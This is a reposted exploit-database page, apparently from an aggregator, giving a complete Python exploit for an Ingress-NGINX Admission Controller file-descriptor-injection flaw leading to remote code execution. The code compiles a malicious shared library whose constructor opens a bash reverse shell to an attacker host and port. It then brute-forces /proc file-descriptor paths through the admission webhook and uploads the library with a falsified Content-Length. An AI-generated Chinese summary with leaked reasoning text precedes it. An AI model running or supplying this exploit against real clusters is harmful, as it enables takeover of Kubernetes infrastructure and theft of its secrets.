Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
嗯,用户让我总结一篇关于Ingress-NGINX Admission Controller漏洞的文章,控制在100字以内。首先,我需要理解文章内容。文章标题提到了FD Injection到RCE,说明这是一个远程代码执行的漏洞。 作者是Beatriz Fresno Naumova,漏洞影响版本从v1.10.0到v1.11.1,可能还有其他版本。测试环境是Ubuntu 22.04和RKE2 Kubernetes集群,涉及多个CVE编号。文章还附带了Python脚本,展示了如何利用这个漏洞。 脚本的主要功能包括编译恶意共享库、暴力攻击准入 webhook 以寻找有效的文件描述符,以及上传恶意共享对象。攻击者可以利用这些步骤实现反向 shell,从而控制目标系统。 总结时需要涵盖漏洞类型、影响范围、利用方法和攻击效果。要简洁明了,控制在100字以内。避免使用“文章内容总结”这样的开头,直接描述即可。 </think> Ingress-NGINX Admission Controller v1.11.1 存在文件描述符注入漏洞(FD Injection),可导致远程代码执行(RCE)。攻击者通过恶意共享库和暴力枚举文件描述符,利用准入 webhook 执行任意代码,最终实现反向 shell 控制目标系统。 2026-2-5 21:44:22 Author: cxsecurity.com(查看原文) 阅读量:0 收藏

Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE

# Exploit Title: Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE # Date: 2025-10-07 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://kubernetes.io # Software Link: https://github.com/kubernetes/ingress-nginx # Version: Affects v1.10.0 to v1.11.1 (potentially others) # Tested on: Ubuntu 22.04, RKE2 Kubernetes Cluster # CVE: CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974 import os import sys import socket import requests import threading from urllib.parse import urlparse from concurrent.futures import ThreadPoolExecutor import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # --- Embedded malicious shared object template --- MALICIOUS_C_TEMPLATE = """ #include <stdlib.h> __attribute__((constructor)) void run_on_load() { system("bash -c 'bash -i >& /dev/tcp/HOST/PORT 0>&1'"); } int bind(void *e, const char *id) { return 1; } void ENGINE_load_evil() {} int bind_engine() { return 1; } """ def compile_shared_library(host, port, output_file="evil_engine.so"): c_code = MALICIOUS_C_TEMPLATE.replace("HOST", host).replace("PORT", str(port)) with open("evil_engine.c", "w") as f: f.write(c_code) print("[*] Compiling malicious shared object...") result = os.system("gcc -fPIC -Wall -shared -o evil_engine.so evil_engine.c -lcrypto") if result == 0: print("[+] Shared object compiled successfully.") return True else: print("[!] Compilation failed. Is gcc installed?") return False def send_brute_request(admission_url, json_template, proc, fd): print(f"[*] Trying /proc/{proc}/fd/{fd}") path = f"proc/{proc}/fd/{fd}" payload = json_template.replace("REPLACE", path) headers = {"Content-Type": "application/json"} url = admission_url.rstrip("/") + "/admission" try: response = requests.post(url, data=payload, headers=headers, verify=False, timeout=5) print(f"[+] Response for /proc/{proc}/fd/{fd}: {response.status_code}") except Exception as e: print(f"[!] Error on /proc/{proc}/fd/{fd}: {e}") def brute_force_admission(admission_url, json_file="review.json", max_proc=50, max_fd=30, max_workers=5): try: with open(json_file, "r") as f: json_data = f.read() except FileNotFoundError: print(f"[!] Error: {json_file} not found.") return print("[*] Starting brute-force against the admission webhook...") with ThreadPoolExecutor(max_workers=max_workers) as executor: for proc in range(1, max_proc): for fd in range(3, max_fd): executor.submit(send_brute_request, admission_url, json_data, proc, fd) def upload_shared_library(ingress_url, shared_object="evil_engine.so"): try: with open(shared_object, "rb") as f: evil_payload = f.read() except FileNotFoundError: print(f"[!] Error: {shared_object} not found.") return parsed = urlparse(ingress_url) host = parsed.hostname port = parsed.port or 80 path = parsed.path or "/" try: sock = socket.create_connection((host, port)) except Exception as e: print(f"[!] Failed to connect to {host}:{port}: {e}") return fake_length = len(evil_payload) + 10 headers = ( f"POST {path} HTTP/1.1\r\n" f"Host: {host}\r\n" f"User-Agent: qmx-ingress-exploiter\r\n" f"Content-Type: application/octet-stream\r\n" f"Content-Length: {fake_length}\r\n" f"Connection: keep-alive\r\n\r\n" ).encode("iso-8859-1") print("[*] Uploading malicious shared object to ingress...") sock.sendall(headers + evil_payload) response = b"" while True: chunk = sock.recv(4096) if not chunk: break response += chunk print("[*] Server response:\n") print(response.decode(errors="ignore")) sock.close() def main(): if len(sys.argv) != 4: print("Usage: python3 exploit.py <ingress_url> <admission_webhook_url> <rev_host:port>") sys.exit(1) ingress_url = sys.argv[1] admission_url = sys.argv[2] rev_host_port = sys.argv[3] if ':' not in rev_host_port: print("[!] Invalid format for rev_host:port.") sys.exit(1) host, port = rev_host_port.split(":") if not compile_shared_library(host, port): sys.exit(1) # Send the malicious shared object and keep the connection open upload_thread = threading.Thread(target=upload_shared_library, args=(ingress_url,)) upload_thread.start() # Simultaneously brute-force the admission webhook for valid file descriptors brute_force_admission(admission_url) if __name__ == "__main__": main()



 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


文章来源: https://cxsecurity.com/issue/WLB-2026020008
如有侵权请联系:admin#unsafe.sh